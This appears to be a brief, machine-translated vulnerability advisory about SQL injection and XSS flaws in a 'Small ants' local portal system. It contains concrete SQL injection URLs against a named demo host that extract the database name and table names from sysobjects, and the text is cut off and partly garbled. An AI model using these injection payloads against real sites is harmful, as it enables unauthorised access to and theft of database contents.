Small ants local portal system sql injection and XSS-vulnerability warning-the black bar safety net

SQL injection: the http://demo.xiaomayi.co/public/ajax.aspx?action=addcomparebuild&cname=a'and%20dbname%3E0-- demoxiaomayico http://demo.xiaomayi.co/public/ajax.aspx?action=addcomparebuild&cname=a'and select top 1 name from demoxiaomayico. dbo. sysobjects where xtype=CHAR8 50--...